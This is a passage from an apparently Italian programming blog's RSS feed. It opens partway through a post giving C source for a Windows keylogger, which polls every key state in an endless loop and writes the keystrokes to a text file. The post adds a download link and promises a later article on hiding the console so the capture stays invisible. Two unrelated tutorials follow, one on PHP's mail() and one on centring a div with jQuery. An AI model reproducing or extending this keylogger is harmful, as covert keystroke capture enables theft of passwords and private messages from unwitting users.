       <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>key <span style="color: #339933;">&gt;=</span> <span style="color: #0000dd;">48</span> <span style="color: #339933;">&amp;&amp;</span> key <span style="color: #339933;">&lt;=</span> <span style="color: #0000dd;">57</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>         
       fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%s&quot;</span><span style="color: #339933;">,&amp;</span>key<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>      
       <span style="color: #009900;">&#125;</span>     
    <span style="color: #009900;">&#125;</span> 
&nbsp;
   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
   <span style="color: #666666; font-style: italic;">// Se è premuto Shift ...</span>
      <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">192</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;ç&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">191</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;§&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>       
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">222</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;°&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">187</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;*&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>       
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">186</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;é&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>                                       
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">188</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">190</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;:&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">189</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;_&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">219</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;?&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">221</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;^&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">226</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">220</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;|&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>           
&nbsp;
      <span style="color: #009900;">&#125;</span>  
&nbsp;
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">17</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">17</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span>  <span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span>GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">18</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> 
    GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">18</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span> GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">162</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span>  GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">162</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span>
    <span style="color: #009900;">&#40;</span>GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">165</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">165</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">// Se tiene premuto ALT GR</span>
      <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">192</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;@&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>     
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">222</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;#&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">187</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">186</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>             
      <span style="color: #009900;">&#125;</span>                           
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">// Se no</span>
      <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">192</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;ò&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>     
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">191</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;ù&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">222</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;à&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">187</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>     
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">186</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;è&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">188</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;,&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">190</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>        
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">189</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;-&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">219</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">221</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;ì&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">226</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;&lt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">220</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;\<span style="color: #000099; font-weight: bold;">\&quot;</span>); break;                                     
      }     
    }
&nbsp;
   fclose(keylog);
}
&nbsp;
int main(){
&nbsp;
&nbsp;
&nbsp;
    char * file = &quot;</span>prova.<span style="color: #202020;">txt</span><span style="color: #ff0000;">&quot;;
    int i;
    while(1){       
          for(i=8;i&lt;=1000;i++){             
             if(GetAsyncKeyState(i)==-32767){                                             
                                reg(i,file);                                                         
              }          
          }          
    }
&nbsp;
    return 1;
}</span></pre></div></div>

<p><a href="http://www.iosmanetto.it/progetti/cpp/keylogger2.rar">Download Keylogger windows</a></p>
<p>Nel prossimo articolo spiegherò come nascondere la console e per rendere invisibile il processo di intercettamento</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/cpp/keylogger-windows-in-c/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Inviamo una semplice email con PHP</title>
		<link>http://www.iosmanetto.it/php/inviamo-una-email-con-mail/</link>
		<comments>http://www.iosmanetto.it/php/inviamo-una-email-con-mail/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 21:56:01 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[trip & tricks]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=397</guid>
		<description><![CDATA[In php è possibile inviare una email con la funzione mail() Un semplice esempio potrebbe essere il seguente : $mes = &#34;Questa è una email di prova&#34;; if&#40;mail&#40;&#34;destinatario@email.com&#34;,&#34;Oggetto email&#34;,$mes&#41;&#41;&#123; echo &#34;Messaggio Inviato&#34;; &#125;else&#123; echo &#34;Messaggio non inviato&#34;; &#125; Il primo parametro della funzione è il destinatario . Il secondo l&#8217;oggetto dell&#8217;email e l&#8217;ultimo il messaggio.]]></description>
			<content:encoded><![CDATA[<p>In php è possibile inviare una email con la funzione mail()</p>
<p>Un semplice esempio potrebbe essere il seguente :</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$mes</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;Questa è una email di prova&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mail</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;destinatario@email.com&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;Oggetto email&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mes</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
       <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Messaggio Inviato&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
       <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Messaggio non inviato&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Il primo parametro della funzione è il destinatario . Il secondo l&#8217;oggetto dell&#8217;email e l&#8217;ultimo il messaggio.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/php/inviamo-una-email-con-mail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Centrare un div al centro della pagina con JQuery/JavaScript</title>
		<link>http://www.iosmanetto.it/javascript/centrare-un-div-al-centro-della-pagina-con-jqueryjavascript/</link>
		<comments>http://www.iosmanetto.it/javascript/centrare-un-div-al-centro-della-pagina-con-jqueryjavascript/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 13:11:02 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[trip & tricks]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=375</guid>
		<description><![CDATA[Oggi vi mostrerò come allineare perfettamente un box(div) al centro di una pagina web con l&#8217;ausilio di Jquery, una delle librerie più usate per programmare in javascript. La funzione che ci permette di fare ciò è la seguente : &#60;script type=&#34;text/javascript&#34;&#62; function centerDiv&#40;div&#41;&#123; var DIVwidth = $&#40;div&#41;.width&#40;&#41;; var DIVheight = $&#40;div&#41;.height&#40;&#41;; var SCREENwidth = $&#40;document&#41;.width&#40;&#41;; [...]]]></description>
			<content:encoded><![CDATA[<p>Oggi vi mostrerò come allineare perfettamente un box(div) al centro di una pagina web  con l&#8217;ausilio di Jquery, una delle librerie più usate per programmare in javascript.</p>
<p>La funzione che ci permette di fare ciò è la seguente :</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #003366; font-weight: bold;">function</span> centerDiv<span style="color: #009900;">&#40;</span>div<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
  	<span style="color: #003366; font-weight: bold;">var</span> DIVwidth <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>div<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
	<span style="color: #003366; font-weight: bold;">var</span> DIVheight <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>div<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> SCREENwidth <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> SCREENheight <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>window<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
	<span style="color: #003366; font-weight: bold;">var</span> SCREENscrolltop <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>window<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">scrollTop</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    $<span style="color: #009900;">&#40;</span>div<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">hide</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	$<span style="color: #009900;">&#40;</span>div<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span><span style="color: #3366CC;">&quot;position&quot;</span><span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;absolute&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;left&quot;</span><span style="color: #339933;">:</span><span style="color: #009900;">&#40;</span>SCREENwidth<span style="color: #339933;">-</span>DIVwidth<span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #CC0000;">2</span><span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;px&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;top&quot;</span><span style="color: #339933;">:</span><span style="color: #009900;">&#40;</span>SCREENheight<span style="color: #339933;">-</span>DIVheight<span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #CC0000;">2</span><span style="color: #339933;">+</span>SCREENscrolltop<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;px&quot;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	$<span style="color: #009900;">&#40;</span>div<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">show</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">var</span> div <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;#boxCenter&quot;</span><span style="color: #339933;">;</span>
$<span style="color: #009900;">&#40;</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">ready</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	centerDiv<span style="color: #009900;">&#40;</span>div<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
$<span style="color: #009900;">&#40;</span>window<span style="color: #009900;">&#41;</span>.<span style="color: #000066;">scroll</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	centerDiv<span style="color: #009900;">&#40;</span>div<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
$<span style="color: #009900;">&#40;</span>window<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">resize</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	centerDiv<span style="color: #009900;">&#40;</span>div<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p>Lo script al primo accesso calcola le coordinate e le imposta al div selezionato . Se l&#8217;utente modifica le dimensioni della finestra vengono calcolate delle nuove coordinate e aggiornate.<br />
<span id="more-375"></span><br />
Proviamo a commentare il cuore del programmino :</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">	$<span style="color: #009900;">&#40;</span>div<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span><span style="color: #3366CC;">&quot;position&quot;</span><span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;absolute&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;left&quot;</span><span style="color: #339933;">:</span><span style="color: #009900;">&#40;</span>SCREENwidth<span style="color: #339933;">-</span>DIVwidth<span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #CC0000;">2</span><span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;px&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;top&quot;</span><span style="color: #339933;">:</span><span style="color: #009900;">&#40;</span>SCREENheight<span style="color: #339933;">-</span>DIVheight<span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #CC0000;">2</span><span style="color: #339933;">+</span>SCREENscrolltop<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;px&quot;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>$().css è una funzione JQuery usata per modificare lo stile ( css ) di un elemento html. Ha la seguente sintassi :</p>

<div class="wp_syntax"><div class="code"><pre class="javascrip" style="font-family:monospace;">$(&quot;selettore&quot;).css({&quot;proprietà&quot;:&quot;valore&quot;,&quot;proprietà2&quot;:&quot;valore&quot;,ecec});</pre></div></div>

<p>Le coordinate X del div viene calcolata grazie a questa espressione :</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>SCREENwidth<span style="color: #339933;">-</span>DIVwidth<span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #CC0000;">2</span></pre></div></div>

<p>Sottraendo la larghezza del DIV alla larghezza del documento otteniamo i due margini , quello sinistro e destro. Per avere un margine occorre quindi dividere tutto per due .</p>
<p><a href="http://www.iosmanetto.it/wp-content/uploads/2010/01/javascript_marginediv2.jpg"><img class="aligncenter size-full wp-image-384" title="javascript_marginediv" src="http://www.iosmanetto.it/wp-content/uploads/2010/01/javascript_marginediv2.jpg" alt="" width="515" height="333" /></a></p>
<p>Stesso procedimento per la cordinata Y del box , cambia solo un piccolo particolare perché bisogna sommare lo scroll verticale della pagina :</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>SCREENheight<span style="color: #339933;">-</span>DIVheight<span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #CC0000;">2</span><span style="color: #339933;">+</span>SCREENscrolltop</pre></div></div>

<p><a href="http://www.iosmanetto.it/progetti/javascript/JSboxcenter/" target="_blank"><span class="view">Vedi esempio</span></a> &#8211; <a href="http://www.iosmanetto.it/progetti/javascript/JSboxcenter.rar"><span class="download">Scarica</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/javascript/centrare-un-div-al-centro-della-pagina-con-jqueryjavascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
